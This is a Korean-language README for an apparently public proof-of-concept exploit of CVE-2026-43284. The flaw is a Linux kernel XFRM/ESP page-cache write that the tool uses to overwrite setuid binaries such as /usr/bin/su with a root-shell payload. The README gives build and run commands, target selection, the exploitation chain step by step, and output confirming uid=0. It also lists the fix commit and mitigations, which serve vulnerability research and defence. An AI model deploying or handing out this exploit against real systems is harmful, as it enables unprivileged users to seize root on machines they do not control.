
CVE-2026-43284에 대한 개념 증명 — setuid 바이너리를 패치하기 위한 4바이트 XFRM/ESP 페이지-캐시 쓰기 프리미티브 (x86_64, 사용자 네임스페이스). 커널 프리플라이트 + SUID 스캔 포함.
개념 증명 (PoC) — XFRM/ESP 페이지 캐시 손상을 통한 로컬 권한 상승
4바이트 쓰기 프리미티브 · 48회 반복 · 192바이트 ELF 덮어쓰기 · 권한 없는 사용자 + netns
왼쪽: 커널 사전 점검, setuid 스캔 및 익스플로잇 체인 ·
오른쪽: 루트 셸 실행 — id / whoami가 uid=0(root) 확인
테스트 환경: WSL2 · Ubuntu 24.04.1 LTS · 커널 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
면책 조항: 본 도구는 귀하가 소유하거나 명시적 허가를 받은 시스템에서만 공인된 보안 연구, 교육 및 테스트 용도로 사용하십시오. 저자는 오용에 대해 책임을 지지 않습니다.
| CVE | CVE-2026-43284 |
| 유형 | 로컬 권한 상승 (LPE) |
| 벡터 | XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) 페이지 캐시 손상 |
| 프리미티브 | 반복당 4바이트 (ESN seq_hi) |
| 페이로드 | 192바이트 x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh")) |
| 기본 대상 | /usr/bin/su |
| 아키텍처 | x86_64 전용 |
| 필요 권한 | 권한 없는 사용자 (사용자 + 네트워크 네임스페이스 사용) |
algif_aead가 블랙리스트에 등록되어 있어도 작동합니다 — 익스플로잇은 커널 XFRM/ESP 코드 경로를 직접 사용합니다.
익스플로잇 전에 내장된 사전 점검 기능:
CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP 확인/boot/config-*, /lib/modules/*/config, 또는 WSL2의 경우 /proc/config.gz 읽기)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # 또는 =y
빠른 확인:
# 물리 머신 / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc, libc, libutil (forkpty 용)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
또는 수동으로:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0는 의도적입니다 — 최적화는 타이밍에 민감한 splice/UDP 동작을 망칠 수 있습니다.
id
# uid=1000(사용자명) gid=1000(사용자명) groups=...
./sley-dirtyfrag # 기본 대상: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # 사용자 지정 setuid 바이너리
도구는 세 가지 자동화된 단계를 실행합니다:
| 단계 | 설명 |
|---|---|
| 1 | 커널 설정 사전 점검 (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | 전체 시스템 setuid 바이너리 스캔; 기본 대상 강조 |
| 3 | 대상 백업 → 페이지 캐시 패치 (48회 × 4바이트 쓰기) → 루트 셸 실행 |
실행된 셸 내에서:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Ctrl+D를 누르거나 exit를 입력하십시오. PoC는 페이지 캐시를 해제하여 디스크의 원본 바이너리가 자동으로 복원되도록 합니다.
복원이 실패한 경우:
echo 3 | sudo tee /proc/sys/vm/drop_caches
| 명령어 | 설명 |
|---|---|
./sley-dirtyfrag | /usr/bin/su 익스플로잇 (기본값) |
./sley-dirtyfrag /path/to/suid | 사용자 지정 setuid 바이너리 익스플로잇 |
make | sley-dirtyfrag 빌드 |
make clean | 바이너리 제거 |
┌─[ phase 1] kernel config preflight
→ /proc/config.gz
[+] CONFIG_USER_NS = y (required =y)
[+] CONFIG_XFRM = y (required =y)
[+] CONFIG_INET_ESP = m (required =m or =y)
kernel options OK.
┌─[ phase 2] setuid binary scan
10 /usr/bin/su ← target
found 14 setuid binaries.
┌─[ phase 3] exploit
[*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
[+] corrupt all iterations done
[+] verify ELF patch detected
╔══════════════════════════════════════╗
║ root shell — exit to restore ║
╚══════════════════════════════════════╝
| 수정된 버전 | f4c50a4034e6 (메인라인, 2026년 5월 8일) |
| 도입된 버전 | cac2661c53f3 (2017년 1월) |
조치: 수정 사항이 포함된 배포판 커널로 업그레이드하거나 패치된 메인라인 트리에서 빌드하십시오.
# 실행 중인 커널 확인
uname -r
# 수정 사항 존재 확인 (예시 — 배포판 패키지 명명에 맞게 조정)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
| 조치 | 효과 |
|---|---|
| 커널 패치 / 업그레이드 | 근본적인 페이지 캐시 쓰기 버그 제거 |
| 사용자 네임스페이스 제한 | 이 PoC 차단 (CONFIG_USER_NS 필요) |
| 불필요한 setuid 바이너리 제거 | 실행 가능한 대상 감소 (chmod u-s 또는 제거) |
| Lockdown / LSM (SELinux, AppArmor) | 정책에 따라 익스플로잇 후 영향 제한 가능 |
| XFRM + UDP/4500 모니터링 | 권한 없는 네임스페이스에서의 비정상적인 SA 등록 및 ESP-in-UDP 트래픽 탐지 |
이 익스플로잇은 루트 없이 unshare(CLONE_NEWUSER | CLONE_NEWNET)에 의존합니다.
# 런타임 (일부 커널에는 없을 수 있음)
sysctl kernel.unprivileged_userns_clone=0
# 또는 빌드 시 비활성화
# CONFIG_USER_NS is not set
참고: 사용자 네임스페이스를 비활성화하면 이 PoC는 차단되지만 반드시 CVE-2026-43500 (userns 없는 시스템을 위한 rxrpc 변형)까지 차단하는 것은 아닙니다.
find / -perm -4000 -type f 2>/dev/null
# 필요하지 않은 바이너리는 제거하거나 강화하십시오
setuid 바이너리가 메모리에서 패치되었다고 생각되면:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# 패키지 관리자 / 알려진 해시를 통해 바이너리 무결성 재확인
unshare(CLONE_NEWUSER | CLONE_NEWNET) — 격리된 사용자/네트워크 네임스페이스 (루트 불필요).seq_hi에 인코딩됨 (SA당 4바이트).UDP_ENCAP_ESPINUDP로 UDP 포트 4500을 통해 트리거:
splice()는 대상 파일을 파이프로 읽음splice()는 파이프에서 UDP 소켓으로 데이터 이동skip_cow 경로를 통해 ESP scatter-gather 목록에 들어감authencesn scatterwalk가 assoclen + cryptlen 위치에 seq_hi를 씀setuid(0) / setgid(0) / execve("/bin/sh")를 실행.posix_fadvise) → 커널이 디스크에서 깨끗한 파일을 다시 로드.| 환경 | 커널 |
|---|---|
| WSL2 Ubuntu 24.04.1 LTS | 6.6.87.2-microsoft-standard-WSL2 |
| Ubuntu 24.04 | 취약한 빌드 |
| Fedora 44 | 취약한 빌드 |
pcbc(fcrypt) 브루트 포스 프리미티브로 /etc/passwd를 대상으로 함. 이 저장소에는 포함되지 않음.| 파일 | 설명 |
|---|---|
sley-dirtyfrag.c | 익스플로잇 소스 |
Makefile | 빌드 도우미 |
proof-of-concept-1.jpg | PoC 스크린샷 — 사전 점검 + 익스플로잇 |
proof-of-concept-2.jpg | PoC 스크린샷 — 루트 셸 확인 |
README.md | 이 파일 |
연구 및 교육 목적으로 있는 그대로 제공됩니다. 책임감 있게 사용하십시오.
SLEY — CVE-2026-43284 dirtyfrag PoC
이 도구가 연구에 도움이 되었다면 저장소에 별표를 눌러 주시기 바랍니다.